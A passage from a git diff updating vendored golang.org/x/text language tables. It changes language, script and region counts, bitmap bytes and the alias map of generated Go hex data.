0x46400000, 0x464000a4, - 0x46400131, 0x46700000, 0x46700124, 0x46b00000, - 0x46b00123, 0x46f00000, 0x46f0006d, 0x46f0006f, - 0x47100000, 0x47600000, 0x47600127, 0x47a00000, - 0x48000000, 0x48200000, 0x48200129, 0x48a00000, + 0x4440010d, 0x44500000, 0x4450004b, 0x445000a5, + 0x44500130, 0x44500132, 0x44e00000, 0x45000000, + 0x4500009a, 0x450000b4, 0x450000d1, 0x4500010e, + 0x46100000, 0x4610009a, 0x46400000, 0x464000a5, + 0x46400132, 0x46700000, 0x46700125, 0x46b00000, + 0x46b00124, 0x46f00000, 0x46f0006e, 0x46f00070, + 0x47100000, 0x47600000, 0x47600128, 0x47a00000, + 0x48000000, 0x48200000, 0x4820012a, 0x48a00000, // Entry 2C0 - 2DF - 0x48a0005d, 0x48a0012b, 0x48e00000, 0x49400000, - 0x49400106, 0x4a400000, 0x4a4000d4, 0x4a900000, - 0x4a9000ba, 0x4ac00000, 0x4ac00053, 0x4ae00000, - 0x4ae00130, 0x4b400000, 0x4b400099, 0x4b4000e8, + 0x48a0005e, 0x48a0012c, 0x48e00000, 0x49400000, + 0x49400107, 0x4a400000, 0x4a4000d5, 0x4a900000, + 0x4a9000bb, 0x4ac00000, 0x4ac00053, 0x4ae00000, + 0x4ae00131, 0x4b400000, 0x4b40009a, 0x4b4000e9, 0x4bc00000, 0x4bc05000, 0x4bc05024, 0x4bc20000, - 0x4bc20137, 0x4bc5a000, 0x4bc5a137, 0x4be00000, - 0x4be5a000, 0x4be5a0b4, 0x4bef1000, 0x4bef10b4, - 0x4c000000, 0x4c300000, 0x4c30013e, 0x4c900000, + 0x4bc20138, 0x4bc5b000, 0x4bc5b138, 0x4be00000, + 0x4be5b000, 0x4be5b0b5, 0x4bef4000, 0x4bef40b5, + 0x4c000000, 0x4c300000, 0x4c30013f, 0x4c900000, // Entry 2E0 - 2FF - 0x4c900001, 0x4cc00000, 0x4cc0012f, 0x4ce00000, - 0x4cf00000, 0x4cf0004e, 0x4e500000, 0x4e500114, - 0x4f200000, 0x4fb00000, 0x4fb00131, 0x50900000, + 0x4c900001, 0x4cc00000, 0x4cc00130, 0x4ce00000, + 0x4cf00000, 0x4cf0004e, 0x4e500000, 0x4e500115, + 0x4f200000, 0x4fb00000, 0x4fb00132, 0x50900000, 0x50900052, 0x51200000, 0x51200001, 0x51800000, - 0x5180003b, 0x518000d6, 0x51f00000, 0x51f3b000, - 0x51f3b053, 0x51f3c000, 0x51f3c08d, 0x52800000, - 0x528000ba, 0x52900000, 0x5293b000, 0x5293b053, - 0x5293b08d, 0x5293b0c6, 0x5293b10d, 0x5293c000, + 0x5180003b, 0x518000d7, 0x51f00000, 0x51f3b000, + 0x51f3b053, 0x51f3c000, 0x51f3c08e, 0x52800000, + 0x528000bb, 0x52900000, 0x5293b000, 0x5293b053, + 0x5293b08e, 0x5293b0c7, 0x5293b10e, 0x5293c000, // Entry 300 - 31F - 0x5293c08d, 0x5293c0c6, 0x5293c12e, 0x52f00000, - 0x52f00161, + 0x5293c08e, 0x5293c0c7, 0x5293c12f, 0x52f00000, + 0x52f00162, } // Size: 3116 bytes const specialTagsStr string = "ca-ES-valencia en-US-u-va-posix" -// Total table size 3147 bytes (3KiB); checksum: 6772C83C +// Total table size 3147 bytes (3KiB); checksum: 5A8FFFA5 diff --git a/vendor/golang.org/x/text/internal/language/tables.go b/vendor/golang.org/x/text/internal/language/tables.go index fb6b58378b..14167e74e4 100644 --- a/vendor/golang.org/x/text/internal/language/tables.go +++ b/vendor/golang.org/x/text/internal/language/tables.go @@ -7,11 +7,11 @@ import "golang.org/x/text/internal/tag" // CLDRVersion is the CLDR version from which the tables in this package are derived. const CLDRVersion = "32" -const NumLanguages = 8752 +const NumLanguages = 8798 -const NumScripts = 258 +const NumScripts = 261 -const NumRegions = 357 +const NumRegions = 358 type FromTo struct { From uint16 @@ -263,7 +263,7 @@ var langNoIndex = [2197]uint8{ 0xff, 0xf8, 0xed, 0xfe, 0xeb, 0xd3, 0x3b, 0xd2, 0xfb, 0xbf, 0x7a, 0xfa, 0x37, 0x1d, 0x3c, 0x57, 0x6e, 0x97, 0x73, 0x38, 0xfb, 0xea, 0xbf, 0x70, - 0xad, 0x03, 0xff, 0xff, 0xcf, 0x05, 0x84, 0x62, + 0xad, 0x03, 0xff, 0xff, 0xcf, 0x05, 0x84, 0x72, 0xe9, 0xbf, 0xfd, 0xbf, 0xbf, 0xf7, 0xfd, 0x77, 0x0f, 0xff, 0xef, 0x6f, 0xff, 0xfb, 0xdf, 0xe2, 0xc9, 0xf8, 0x7f, 0x7e, 0x4d, 0xbc, 0x0a, 0x6a, @@ -278,7 +278,7 @@ var langNoIndex = [2197]uint8{ 0xa8, 0xff, 0x1f, 0x67, 0x7d, 0xeb, 0xef, 0xce, 0xff, 0xff, 0x9f, 0xff, 0xb7, 0xef, 0xfe, 0xcf, // Entry 80 - BF - 0xdb, 0xff, 0xf3, 0xcd, 0xfb, 0x6f, 0xff, 0xff, + 0xdb, 0xff, 0xf3, 0xcd, 0xfb, 0x7f, 0xff, 0xff, 0xbb, 0xee, 0xf7, 0xbd, 0xdb, 0xff, 0x5f, 0xf7, 0xfd, 0xf2, 0xfd, 0xff, 0x5e, 0x2f, 0x3b, 0xba, 0x7e, 0xff, 0xff, 0xfe, 0xf7, 0xff, 0xdd, 0xff, @@ -289,11 +289,11 @@ var langNoIndex = [2197]uint8{ // Entry C0 - FF 0xfb, 0x4a, 0xf2, 0x9f, 0xb4, 0x42, 0x41, 0x96, 0x1b, 0x14, 0x08, 0xf3, 0x2b, 0xe7, 0x17, 0x56, - 0x05, 0x7d, 0x0e, 0x1c, 0x37, 0x7b, 0xf3, 0xef, + 0x05, 0x7d, 0x0e, 0x1c, 0x37, 0x7f, 0xf3, 0xef, 0x97, 0xff, 0x5d, 0x38, 0x64, 0x08, 0x00, 0x10, 0xbc, 0x85, 0xaf, 0xdf, 0xff, 0xff, 0x7b, 0x35, 0x3e, 0xc7, 0xc7, 0xdf, 0xff, 0x01, 0x81, 0x00, - 0xb0, 0x05, 0x80, 0x00, 0x00, 0x00, 0x00, 0x03, + 0xb0, 0x05, 0x80, 0x00, 0x20, 0x00, 0x00, 0x03, 0x40, 0x00, 0x40, 0x92, 0x21, 0x50, 0xb1, 0x5d, // Entry 100 - 13F 0xfd, 0xdc, 0xbe, 0x5e, 0x00, 0x00, 0x02, 0x64, @@ -303,20 +303,20 @@ var langNoIndex = [2197]uint8{ 0x86, 0x00, 0xd1, 0x00, 0xf0, 0xc7, 0x67, 0x5f, 0x56, 0x99, 0x5e, 0xb5, 0x6c, 0xaf, 0x03, 0x00, 0x02, 0x00, 0x00, 0x00, 0xc0, 0x37, 0xda, 0x56, - 0x90, 0x69, 0x01, 0x2c, 0x96, 0x69, 0x20, 0xfb, + 0x90, 0x6d, 0x01, 0x2e, 0x96, 0x69, 0x20, 0xfb, // Entry 140 - 17F 0xff, 0x3f, 0x00, 0x00, 0x00, 0x01, 0x0c, 0x16, - 0x03, 0x00, 0x00, 0xb0, 0x14, 0x03, 0x50, 0x06, + 0x03, 0x00, 0x00, 0xb0, 0x14, 0x23, 0x50, 0x06, 0x0a, 0x00, 0x01, 0x00, 0x00, 0x10, 0x11, 0x09, 0x00, 0x00, 0x60, 0x10, 0x00, 0x00, 0x00, 0x10, - 0x00, 0x00, 0x44, 0x00, 0x00, 0x10, 0x00, 0x04, + 0x00, 0x00, 0x44, 0x00, 0x00, 0x10, 0x00, 0x05, 0x08, 0x00, 0x00, 0x05, 0x00, 0x80, 0x28, 0x04, 0x00, 0x00, 0x40, 0xd5, 0x2d, 0x00, 0x64, 0x35, 0x24, 0x52, 0xf4, 0xd5, 0xbf, 0x62, 0xc9, 0x03, // Entry 180 - 1BF 0x00, 0x80, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x13, 0x39, 0x01, 0xdd, 0x57, 0x98, - 0x21, 0x18, 0x81, 0x00, 0x00, 0x01, 0x40, 0x82, + 0x21, 0x18, 0x81, 0x08, 0x00, 0x01, 0x40, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x40, 0x00, 0x44, 0x00, 0x00, 0x80, 0xea, 0xa9, 0x39, 0x00, 0x02, 0x00, 0x00, 0x00, 0x04, @@ -337,7 +337,7 @@ var langNoIndex = [2197]uint8{ 0xa4, 0x45, 0x25, 0x9b, 0x02, 0xdf, 0xe1, 0xdf, 0x03, 0x44, 0x08, 0x90, 0x01, 0x04, 0x81, 0xe3, 0x92, 0x54, 0xdb, 0x28, 0xd3, 0x5f, 0xfe, 0x6d, - 0x79, 0xed, 0x1c, 0x7d, 0x04, 0x08, 0x00, 0x01, + 0x79, 0xed, 0x1c, 0x7f, 0x04, 0x08, 0x00, 0x01, 0x21, 0x12, 0x64, 0x5f, 0xdd, 0x0e, 0x85, 0x4f, 0x40, 0x40, 0x00, 0x04, 0xf1, 0xfd, 0x3d, 0x54, // Entry 240 - 27F @@ -359,13 +359,13 @@ var langNoIndex = [2197]uint8{ 0x03, 0x00, 0x00, 0x00, 0x8c, 0x50, 0x40, 0x04, 0x84, 0x47, 0x84, 0x40, 0x20, 0x10, 0x00, 0x20, // Entry 2C0 - 2FF - 0x02, 0x50, 0x80, 0x11, 0x00, 0x91, 0x6c, 0xe2, - 0x50, 0x27, 0x1d, 0x11, 0x29, 0x06, 0x59, 0xe9, + 0x02, 0x50, 0x80, 0x11, 0x00, 0x99, 0x6c, 0xe2, + 0x50, 0x27, 0x1d, 0x11, 0x29, 0x0e, 0x59, 0xe9, 0x33, 0x08, 0x00, 0x20, 0x04, 0x40, 0x10, 0x00, 0x00, 0x00, 0x50, 0x44, 0x92, 0x49, 0xd6, 0x5d, 0xa7, 0x81, 0x47, 0x97, 0xfb, 0x00, 0x10, 0x00, 0x08, 0x00, 0x80, 0x00, 0x40, 0x04, 0x00, 0x01, - 0x02, 0x00, 0x01, 0x40, 0x80, 0x00, 0x00, 0x08, + 0x02, 0x00, 0x01, 0x40, 0x80, 0x00, 0x40, 0x08, 0xd8, 0xeb, 0xf6, 0x39, 0xc4, 0x8d, 0x12, 0x00, // Entry 300 - 33F 0x00, 0x0c, 0x04, 0x01, 0x20, 0x20, 0xdd, 0xa0, @@ -392,14 +392,14 @@ var langNoIndex = [2197]uint8{ 0xee, 0xdb, 0x6f, 0xef, 0xff, 0x7f, 0xff, 0xff, 0xf7, 0x5f, 0xd3, 0x3b, 0xfd, 0xd9, 0xdf, 0xeb, 0xbc, 0x08, 0x05, 0x24, 0xff, 0x07, 0x70, 0xfe, - 0xe6, 0x5e, 0x00, 0x08, 0x00, 0x83, 0x3d, 0x1b, + 0xe6, 0x5e, 0x00, 0x08, 0x00, 0x83, 0x7d, 0x1f, 0x06, 0xe6, 0x72, 0x60, 0xd1, 0x3c, 0x7f, 0x44, // Entry 3C0 - 3FF 0x02, 0x30, 0x9f, 0x7a, 0x16, 0xbd, 0x7f, 0x57, 0xf2, 0xff, 0x31, 0xff, 0xf2, 0x1e, 0x90, 0xf7, - 0xf1, 0xf9, 0x45, 0x80, 0x01, 0x02, 0x00, 0x00, - 0x40, 0x54, 0x9f, 0x8a, 0xdb, 0xf9, 0x2e, 0x11, - 0x86, 0x51, 0xc0, 0xf3, 0xfb, 0x47, 0x40, 0x01, + 0xf1, 0xf9, 0x45, 0x80, 0x01, 0x02, 0x00, 0x20, + 0x40, 0x54, 0x9f, 0x8a, 0xdf, 0xf9, 0x6e, 0x11, + 0x86, 0x51, 0xc0, 0xf3, 0xfb, 0x47, 0x40, 0x03, 0x05, 0xd1, 0x50, 0x5c, 0x00, 0x40, 0x00, 0x10, 0x04, 0x02, 0x00, 0x00, 0x0a, 0x00, 0x17, 0xd2, 0xb9, 0xfd, 0xfc, 0xba, 0xfe, 0xef, 0xc7, 0xbe, @@ -424,12 +424,12 @@ var langNoIndex = [2197]uint8{ // Entry 480 - 4BF 0x93, 0x50, 0x5d, 0xaf, 0xa6, 0xff, 0x99, 0xfb, 0x63, 0x1d, 0x53, 0xff, 0xef, 0xb7, 0x35, 0x20, - 0x14, 0x00, 0x55, 0x51, 0x82, 0x65, 0xf5, 0x41, - 0xe2, 0xff, 0xfc, 0xdf, 0x02, 0x05, 0xc5, 0x05, + 0x14, 0x00, 0x55, 0x51, 0xc2, 0x65, 0xf5, 0x41, + 0xe2, 0xff, 0xfc, 0xdf, 0x02, 0x85, 0xc5, 0x05, 0x00, 0x22, 0x00, 0x74, 0x69, 0x10, 0x08, 0x05, 0x41, 0x00, 0x01, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x51, 0x20, 0x05, 0x04, 0x01, 0x00, 0x00, - 0x06, 0x01, 0x20, 0x00, 0x18, 0x01, 0x92, 0xf1, + 0x06, 0x11, 0x20, 0x00, 0x18, 0x01, 0x92, 0xf1, // Entry 4C0 - 4FF 0xfd, 0x47, 0x69, 0x06, 0x95, 0x06, 0x57, 0xed, 0xfb, 0x4d, 0x1c, 0x6b, 0x83, 0x04, 0x62, 0x40, @@ -441,7 +441,7 @@ var langNoIndex = [2197]uint8{ 0xbe, 0xcf, 0xf7, 0xaf, 0x42, 0x04, 0x84, 0x41, // Entry 500 - 53F 0x30, 0xff, 0x79, 0x72, 0x04, 0x00, 0x00, 0x49, - 0x2d, 0x14, 0x27, 0x57, 0xed, 0xf1, 0x3f, 0xe7, + 0x2d, 0x14, 0x27, 0x5f, 0xed, 0xf1, 0x3f, 0xe7, 0x3f, 0x00, 0x00, 0x02, 0xc6, 0xa0, 0x1e, 0xf8, 0xbb, 0xff, 0xfd, 0xfb, 0xb7, 0xfd, 0xe7, 0xf7, 0xfd, 0xfc, 0xd5, 0xed, 0x47, 0xf4, 0x7e, 0x10, @@ -449,7 +449,7 @@ var langNoIndex = [2197]uint8{ 0x5b, 0x05, 0x86, 0xed, 0xf5, 0x77, 0xbd, 0x3c, 0x00, 0x00, 0x00, 0x42, 0x71, 0x42, 0x00, 0x40, // Entry 540 - 57F - 0x00, 0x00, 0x01, 0x43, 0x19, 0x00, 0x08, 0x00, + 0x00, 0x00, 0x01, 0x43, 0x19, 0x24, 0x08, 0x00, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, @@ -464,13 +464,13 @@ var langNoIndex = [2197]uint8{ 0x00, 0x00, 0x00, 0x00, 0xf0, 0xce, 0xfb, 0xbf, 0x00, 0x23, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x30, 0x15, 0xa3, 0x10, 0x00, 0x00, 0x00, - 0x11, 0x04, 0x16, 0x00, 0x00, 0x02, 0x00, 0x81, + 0x11, 0x04, 0x16, 0x00, 0x00, 0x02, 0x20, 0x81, 0xa3, 0x01, 0x50, 0x00, 0x00, 0x83, 0x11, 0x40, // Entry 5C0 - 5FF - 0x00, 0x00, 0x00, 0xf0, 0xdd, 0x7b, 0x3e, 0x02, + 0x00, 0x00, 0x00, 0xf0, 0xdd, 0x7b, 0xbe, 0x02, 0xaa, 0x10, 0x5d, 0x98, 0x52, 0x00, 0x80, 0x20, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x02, 0x02, - 0x19, 0x00, 0x10, 0x02, 0x10, 0x61, 0x5a, 0x9d, + 0x3d, 0x40, 0x10, 0x02, 0x10, 0x61, 0x5a, 0x9d, 0x31, 0x00, 0x00, 0x00, 0x01, 0x18, 0x02, 0x20, 0x00, 0x00, 0x01, 0x00, 0x42, 0x00, 0x20, 0x00, 0x00, 0x1f, 0xdf, 0xd2, 0xb9, 0xff, 0xfd, 0x3f, @@ -491,20 +491,20 @@ var langNoIndex = [2197]uint8{ 0x02, 0xfb, 0xa3, 0xef, 0xf3, 0xd6, 0xf2, 0xff, 0xb9, 0xda, 0x7d, 0xd0, 0x3e, 0x15, 0x7b, 0xb4, 0xf5, 0x3e, 0xff, 0xff, 0xf1, 0xf7, 0xff, 0xe7, - 0x5f, 0xff, 0xff, 0x9e, 0xdb, 0xf6, 0xd7, 0xb9, + 0x5f, 0xff, 0xff, 0x9e, 0xdf, 0xf6, 0xd7, 0xb9, 0xef, 0x27, 0x80, 0xbb, 0xc5, 0xff, 0xff, 0xe3, // Entry 680 - 6BF 0x97, 0x9d, 0xbf, 0x9f, 0xf7, 0xc7, 0xfd, 0x37, - 0xce, 0x7f, 0x04, 0x1d, 0x73, 0x7f, 0xf8, 0xda, + 0xce, 0x7f, 0x44, 0x1d, 0x73, 0x7f, 0xf8, 0xda, 0x5d, 0xce, 0x7d, 0x06, 0xb9, 0xea, 0x79, 0xa0, 0x1a, 0x20, 0x00, 0x30, 0x02, 0x04, 0x24, 0x08, 0x04, 0x00, 0x00, 0x40, 0xd4, 0x02, 0x04, 0x00, - 0x00, 0x04, 0x00, 0x04, 0x00, 0x20, 0x01, 0x06, + 0x00, 0x04, 0x00, 0x04, 0x00, 0x20, 0x09, 0x06, 0x50, 0x00, 0x08, 0x00, 0x00, 0x00, 0x24, 0x00, 0x04, 0x00, 0x10, 0xdc, 0x58, 0xd7, 0x0d, 0x0f, // Entry 6C0 - 6FF - 0x14, 0x4d, 0xf1, 0x16, 0x44, 0xd5, 0x42, 0x08, - 0x40, 0x00, 0x00, 0x40, 0x00, 0x08, 0x00, 0x00, + 0x54, 0x4d, 0xf1, 0x16, 0x44, 0xd5, 0x42, 0x08, + 0x40, 0x02, 0x00, 0x40, 0x00, 0x08, 0x00, 0x00, 0x00, 0xdc, 0xfb, 0xcb, 0x0e, 0x58, 0x48, 0x41, 0x24, 0x20, 0x04, 0x00, 0x30, 0x12, 0x40, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, @@ -513,7 +513,7 @@ var langNoIndex = [2197]uint8{ 0x00, 0x00, 0x00, 0x80, 0x80, 0x25, 0x00, 0x00, // Entry 700 - 73F 0x00, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x00, 0x00, - 0x80, 0x86, 0xc2, 0x00, 0x00, 0x00, 0x00, 0x01, + 0x80, 0x86, 0xc2, 0x00, 0x00, 0x01, 0x00, 0x01, 0xff, 0x18, 0x02, 0x00, 0x02, 0xf0, 0xfd, 0x79, 0x3b, 0x00, 0x25, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, @@ -522,7 +522,7 @@ var langNoIndex = [2197]uint8{ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // Entry 740 - 77F 0x00, 0x00, 0x00, 0xef, 0xd5, 0xfd, 0xcf, 0x7e, - 0xb0, 0x11, 0x00, 0x00, 0x00, 0x92, 0x01, 0x44, + 0xb0, 0x11, 0x00, 0x00, 0x00, 0x92, 0x01, 0x46, 0xcd, 0xf9, 0x5c, 0x00, 0x01, 0x00, 0x30, 0x04, 0x04, 0x55, 0x00, 0x01, 0x04, 0xf4, 0x3f, 0x4a, 0x01, 0x00, 0x00, 0xb0, 0x80, 0x20, 0x55, 0x75, @@ -530,12 +530,12 @@ var langNoIndex = [2197]uint8{ 0xd5, 0x57, 0x27, 0x14, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2c, 0xf7, 0xcb, 0x1f, 0x14, 0x60, // Entry 780 - 7BF - 0x03, 0x68, 0x01, 0x10, 0x8b, 0x38, 0x8a, 0x01, + 0x83, 0x68, 0x01, 0x10, 0x8b, 0x38, 0x8a, 0x01, 0x00, 0x00, 0x20, 0x00, 0x24, 0x44, 0x00, 0x00, - 0x10, 0x03, 0x11, 0x02, 0x01, 0x00, 0x00, 0xf0, + 0x10, 0x03, 0x31, 0x02, 0x01, 0x00, 0x00, 0xf0, 0xf5, 0xff, 0xd5, 0x97, 0xbc, 0x70, 0xd6, 0x78, - 0x78, 0x15, 0x50, 0x01, 0xa4, 0x84, 0xa9, 0x41, - 0x00, 0x00, 0x00, 0x6b, 0x39, 0x52, 0x74, 0x00, + 0x78, 0x15, 0x50, 0x05, 0xa4, 0x84, 0xa9, 0x41, + 0x00, 0x00, 0x00, 0x6b, 0x39, 0x52, 0x74, 0x40, 0xe8, 0x30, 0x90, 0x6a, 0x92, 0x00, 0x00, 0x02, 0xff, 0xef, 0xff, 0x4b, 0x85, 0x53, 0xf4, 0xed, // Entry 7C0 - 7FF @@ -545,11 +545,11 @@ var langNoIndex = [2197]uint8{ 0xbd, 0xa4, 0xaf, 0x01, 0x44, 0x18, 0x01, 0x4d, 0x4e, 0x4a, 0x08, 0x50, 0x28, 0x30, 0xe0, 0x80, 0x10, 0x20, 0x24, 0x00, 0xff, 0x2f, 0xd3, 0x60, - 0xfe, 0x01, 0x02, 0x88, 0x0a, 0x40, 0x16, 0x01, + 0xfe, 0x01, 0x02, 0x88, 0x2a, 0x40, 0x16, 0x01, 0x01, 0x15, 0x2b, 0x3c, 0x01, 0x00, 0x00, 0x10, // Entry 800 - 83F 0x90, 0x49, 0x41, 0x02, 0x02, 0x01, 0xe1, 0xbf, - 0xbf, 0x03, 0x00, 0x00, 0x10, 0xd4, 0xa3, 0xd1, + 0xbf, 0x03, 0x00, 0x00, 0x10, 0xdc, 0xa3, 0xd1, 0x40, 0x9c, 0x44, 0xdf, 0xf5, 0x8f, 0x66, 0xb3, 0x55, 0x20, 0xd4, 0xc1, 0xd8, 0x30, 0x3d, 0x80, 0x00, 0x00, 0x00, 0x04, 0xd4, 0x11, 0xc5, 0x84, @@ -557,11 +557,11 @@ var langNoIndex = [2197]uint8{ 0x07, 0x00, 0x20, 0x10, 0x84, 0xb2, 0x45, 0x10, 0x06, 0x44, 0x00, 0x00, 0x12, 0x02, 0x11, 0x00, // Entry 840 - 87F - 0xf0, 0xfb, 0xfd, 0x7f, 0x05, 0x00, 0x16, 0x81, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x02, + 0xf0, 0xfb, 0xfd, 0x7f, 0x05, 0x00, 0x16, 0x89, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x03, 0x00, 0x00, 0x00, 0x00, 0x03, 0x30, 0x02, 0x28, 0x84, 0x00, 0x21, 0xc0, 0x23, 0x24, 0x00, 0x00, - 0x00, 0xcb, 0xe4, 0x3a, 0x46, 0x88, 0x14, 0xf1, + 0x00, 0xcb, 0xe4, 0x3a, 0x46, 0x88, 0x54, 0xf1, 0xef, 0xff, 0x7f, 0x12, 0x01, 0x01, 0x84, 0x50, 0x07, 0xfc, 0xff, 0xff, 0x0f, 0x01, 0x00, 0x40, 0x10, 0x38, 0x01, 0x01, 0x1c, 0x12, 0x40, 0xe1, @@ -583,8 +583,8 @@ var altLangIndex = [6]uint16{ } // AliasMap maps langIDs to their suggested replacements. -// Size: 716 bytes, 179 elements -var AliasMap = [179]FromTo{ +// Size: 772 bytes, 193 elements +var AliasMap = [193]FromTo{ 0: {From: 0x82, To: 0x88}, 1: {From: 0x187, To: 0x1ae}, 2: {From: 0x1f3, To: 0x1e1}, @@ -599,223 +599,239 @@ var AliasMap = [179]FromTo{ 11: {From: 0x4a2, To: 0x21}, 12: {From: 0x53e, To: 0x544}, 13: {From: 0x58f, To: 0x12d}, - 14: {From: 0x630, To: 0x1eb1}, - 15: {From: 0x651, To: 0x431}, - 16: {From: 0x662, To: 0x431}, - 17: {From: 0x6ed, To: 0x3a}, - 18: {From: 0x6f8, To: 0x1d7}, - 19: {From: 0x709, To: 0x3625}, - 20: {From: 0x73e, To: 0x21a1}, - 21: {From: 0x7b3, To: 0x56}, - 22: {From: 0x7b9, To: 0x299b}, - 23: {From: 0x7c5, To: 0x58}, - 24: {From: 0x7e6, To: 0x145}, - 25: {From: 0x80c, To: 0x5a}, - 26: {From: 0x815, To: 0x8d}, - 27: {From: 0x87e, To: 0x810}, - 28: {From: 0x8a8, To: 0x8b7}, - 29: {From: 0x8c3, To: 0xee3}, - 30: {From: 0x8fa, To: 0x1dc}, - 31: {From: 0x9ef, To: 0x331}, - 32: {From: 0xa36, To: 0x2c5}, - 33: {From: 0xa3d, To: 0xbf}, - 34: {From: 0xabe, To: 0x3322}, - 35: {From: 0xb38, To: 0x529}, - 36: {From: 0xb75, To: 0x265a}, - 37: {From: 0xb7e, To: 0xbc3}, - 38: {From: 0xb9b, To: 0x44e}, - 39: {From: 0xbbc, To: 0x4229}, - 40: {From: 0xbbf, To: 0x529}, - 41: {From: 0xbfe, To: 0x2da7}, - 42: {From: 0xc2e, To: 0x3181}, - 43: {From: 0xcb9, To: 0xf3}, - 44: {From: 0xd08, To: 0xfa}, - 45: {From: 0xdc8, To: 0x11a}, - 46: {From: 0xdd7, To: 0x32d}, - 47: {From: 0xdf8, To: 0xdfb}, - 48: {From: 0xdfe, To: 0x531}, - 49: {From: 0xe01, To: 0xdf3}, - 50: {From: 0xedf, To: 0x205a}, - 51: {From: 0xee9, To: 0x222e}, - 52: {From: 0xeee, To: 0x2e9a}, - 53: {From: 0xf39, To: 0x367}, - 54: {From: 0x10d0, To: 0x140}, - 55: {From: 0x1104, To: 0x2d0}, - 56: {From: 0x11a0, To: 0x1ec}, - 57: {From: 0x1279, To: 0x21}, - 58: {From: 0x1424, To: 0x15e}, - 59: {From: 0x1470, To: 0x14e}, - 60: {From: 0x151f, To: 0xd9b}, - 61: {From: 0x1523, To: 0x390}, - 62: {From: 0x1532, To: 0x19f}, - 63: {From: 0x1580, To: 0x210}, - 64: {From: 0x1583, To: 0x10d}, - 65: {From: 0x15a3, To: 0x3caf}, - 66: {From: 0x1630, To: 0x222e}, - 67: {From: 0x166a, To: 0x19b}, - 68: {From: 0x16c8, To: 0x136}, - 69: {From: 0x1700, To: 0x29f8}, - 70: {From: 0x1718, To: 0x194}, - 71: {From: 0x1727, To: 0xf3f}, - 72: {From: 0x177a, To: 0x178}, - 73: {From: 0x1809, To: 0x17b6}, - 74: {From: 0x1816, To: 0x18f3}, - 75: {From: 0x188a, To: 0x436}, - 76: {From: 0x1979, To: 0x1d01}, - 77: {From: 0x1a74, To: 0x2bb0}, - 78: {From: 0x1a8a, To: 0x1f8}, - 79: {From: 0x1b5a, To: 0x1fa}, - 80: {From: 0x1b86, To: 0x1515}, - 81: {From: 0x1d64, To: 0x2c9b}, - 82: {From: 0x2038, To: 0x37b1}, - 83: {From: 0x203d, To: 0x20dd}, - 84: {From: 0x205a, To: 0x30b}, - 85: {From: 0x20e3, To: 0x274}, - 86: {From: 0x20ee, To: 0x263}, - 87: {From: 0x20f2, To: 0x22d}, - 88: {From: 0x20f9, To: 0x256}, - 89: {From: 0x210f, To: 0x21eb}, - 90: {From: 0x2135, To: 0x27d}, - 91: {From: 0x2160, To: 0x913}, - 92: {From: 0x2199, To: 0x121}, - 93: {From: 0x21ce, To: 0x1561}, - 94: {From: 0x21e6, To: 0x504}, - 95: {From: 0x21f4, To: 0x49f}, - 96: {From: 0x21fb, To: 0x269}, - 97: {From: 0x222d, To: 0x121}, - 98: {From: 0x2237, To: 0x121}, - 99: {From: 0x2262, To: 0x92a}, - 100: {From: 0x2316, To: 0x3226}, - 101: {From: 0x236a, To: 0x2835}, - 102: {From: 0x2382, To: 0x3365}, - 103: {From: 0x2472, To: 0x2c7}, - 104: {From: 0x24e4, To: 0x2ff}, - 105: {From: 0x24f0, To: 0x2fa}, - 106: {From: 0x24fa, To: 0x31f}, - 107: {From: 0x2550, To: 0xb5b}, - 108: {From: 0x25a9, To: 0xe2}, - 109: {From: 0x263e, To: 0x2d0}, - 110: {From: 0x26c9, To: 0x26b4}, - 111: {From: 0x26f9, To: 0x3c8}, - 112: {From: 0x2727, To: 0x3caf}, - 113: {From: 0x2755, To: 0x6a4}, - 114: {From: 0x2765, To: 0x26b4}, - 115: {From: 0x2789, To: 0x4358}, - 116: {From: 0x27c9, To: 0x2001}, - 117: {From: 0x28ea, To: 0x27b1}, - 118: {From: 0x28ef, To: 0x2837}, - 119: {From: 0x2914, To: 0x351}, - 120: {From: 0x2986, To: 0x2da7}, - 121: {From: 0x29f0, To: 0x96b}, - 122: {From: 0x2b1a, To: 0x38d}, - 123: {From: 0x2bfc, To: 0x395}, - 124: {From: 0x2c3f, To: 0x3caf}, - 125: {From: 0x2ce1, To: 0x2201}, - 126: {From: 0x2cfc, To: 0x3be}, - 127: {From: 0x2d13, To: 0x597}, - 128: {From: 0x2d47, To: 0x148}, - 129: {From: 0x2d48, To: 0x148}, - 130: {From: 0x2dff, To: 0x2f1}, - 131: {From: 0x2e08, To: 0x19cc}, - 132: {From: 0x2e1a, To: 0x2d95}, - 133: {From: 0x2e21, To: 0x292}, - 134: {From: 0x2e54, To: 0x7d}, - 135: {From: 0x2e65, To: 0x2282}, - 136: {From: 0x2ea0, To: 0x2e9b}, - 137: {From: 0x2eef, To: 0x2ed7}, - 138: {From: 0x3193, To: 0x3c4}, - 139: {From: 0x3366, To: 0x338e}, - 140: {From: 0x342a, To: 0x3dc}, - 141: {From: 0x34ee, To: 0x18d0}, - 142: {From: 0x35c8, To: 0x2c9b}, - 143: {From: 0x35e6, To: 0x412}, - 144: {From: 0x3658, To: 0x246}, - 145: {From: 0x3676, To: 0x3f4}, - 146: {From: 0x36fd, To: 0x445}, - 147: {From: 0x37c0, To: 0x121}, - 148: {From: 0x3816, To: 0x38f2}, - 149: {From: 0x382a, To: 0x2b48}, - 150: {From: 0x382b, To: 0x2c9b}, - 151: {From: 0x382f, To: 0xa9}, - 152: {From: 0x3832, To: 0x3228}, - 153: {From: 0x386c, To: 0x39a6}, - 154: {From: 0x3892, To: 